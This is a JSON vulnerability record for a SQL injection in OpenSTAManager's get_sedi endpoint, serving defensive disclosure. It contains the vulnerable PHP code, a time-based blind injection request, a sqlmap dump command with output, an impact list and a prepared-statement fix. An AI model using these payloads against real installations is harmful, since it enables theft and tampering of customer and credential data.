{"id":"CVE-2025-69213","aliases":["CVE-2025-69213","GHSA-w995-ff8h-rppg"],"related":[],"kind":"vulnerability","state":"published","title":"OpenSTAManager has a SQL Injection in ajax_complete.php (get_sedi endpoint)","summary":"OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, a SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access. At time of publication, no known patch exists.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, a SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access. At time of publication, no known patch exists.","source":"cvelist"},{"lang":"en","text":"## Summary\nA SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access.\n\n\n## Proof of Concept\n\n### Vulnerable Code\n**File:** `modules/anagrafiche/ajax/complete.php:28`\n\n```php\ncase 'get_sedi':\n    $idanagrafica = get('idanagrafica');\n    $q = \"SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione \n          FROM an_sedi \n          WHERE idanagrafica='\".$idanagrafica.\"' ...\";\n    $rs = $dbo->fetchArray($q);\n```\n\n### Data Flow\n1. **Source:** `$_GET['idanagrafica']` → `get('idanagrafica')`\n2. **Vulnerable:** User input concatenated directly into SQL query with single quotes\n3. **Sink:** `$dbo->fetchArray($q)` executes the malicious query\n\n### Exploit\n\n**Manual PoC (Time-based Blind SQLi):**\n```http\nGET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=<valid-session>\n```\n<img width=\"1304\" height=\"580\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8\" />\n\n**SQLMap Exploitation:**\n```bash\nsqlmap -u \"http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*\" \\\n  --cookie=\"PHPSESSID=<session>\" \\\n  --dbms=MySQL \\\n  --technique=T \\\n  --level=3 \\\n  --dump\n```\n\n**SQLMap Output:**\n```\n[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable\nParameter: #1* (URI)\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF\nback-end DBMS: MySQL >= 5.0.12\n```\n\n<img width=\"1284\" height=\"745\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5c640132-4f52-46bd-96fa-14d9987d4759\" />\n\n\n## Impact\n- **Data Exfiltration:** Complete database extraction including user credentials, customer data, financial records\n- **Privilege Escalation:** Modification of `zz_users` table to gain admin access\n- **Data Integrity:** Unauthorized modification or deletion of records\n- **Potential RCE:** Via `SELECT ... INTO OUTFILE` if file permissions allow\n\n## Affected Versions\n- OpenSTAManager: Verified in latest version (as of December 2025)\n- All versions using this endpoint are likely affected\n\n## Remediation\n\nReplace direct concatenation with prepared statements:\n\n**Before:**\n```php\n$idanagrafica = get('idanagrafica');\n$q = \"SELECT ... WHERE idanagrafica='\".$idanagrafica.\"' ...\";\n```\n\n**After:**\n```php\n$idanagrafica = get('idanagrafica');\n$q = \"SELECT ... WHERE idanagrafica=\".prepare($idanagrafica).\" ...\";\n```\n\n## Credit\nDiscovered by: Łukasz Rybak","format":"markdown","source":"ghsa"},{"lang":"es","text":"OpenSTAManager es un software de gestión de código abierto para asistencia técnica y facturación. En la versión 2.9.8 y anteriores, existe una vulnerabilidad de inyección SQL en el endpoint ajax_complete.php al manejar la operación get_sedi. Un atacante autenticado puede inyectar código SQL malicioso a través del parámetro idanagrafica, lo que lleva a un acceso no autorizado a la base de datos. En el momento de la publicación, no existe ningún parche conocido.","source":"nvd"}],"published":"2026-02-03T18:44:17.000Z","modified":"2026-06-17T10:00:18.023Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"<= 2.9.8","status":"affected"}],"vendor":"devcode-it","product":"openstamanager","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"2.9.8"}],"ecosystem":"Packagist","package":"devcode-it/openstamanager","purl":"pkg:composer/devcode-it/openstamanager","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"2.9.8"}],"vendor":"devcode","product":"openstamanager","cpe":"cpe:2.3:a:devcode:openstamanager:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-w995-ff8h-rppg","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69213","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/devcode-it/openstamanager","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-02-04T19:32:28.974Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-69213","url":"https://www.cve.org/CVERecord?id=CVE-2025-69213","licence":"CVE Terms of Use","modified":"2026-02-04T19:32:47.018Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-w995-ff8h-rppg","url":"https://github.com/advisories/GHSA-w995-ff8h-rppg","licence":"CC-BY-4.0","modified":"2026-02-22T23:25:58.641Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-69213","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69213","licence":"Public domain","modified":"2026-06-17T10:00:18.023Z"}],"updatedAt":"2026-11-25T22:59:11.049Z","epss":{"score":0.00453,"percentile":0.41062,"date":"2026-12-01T12:00:22.000Z"}}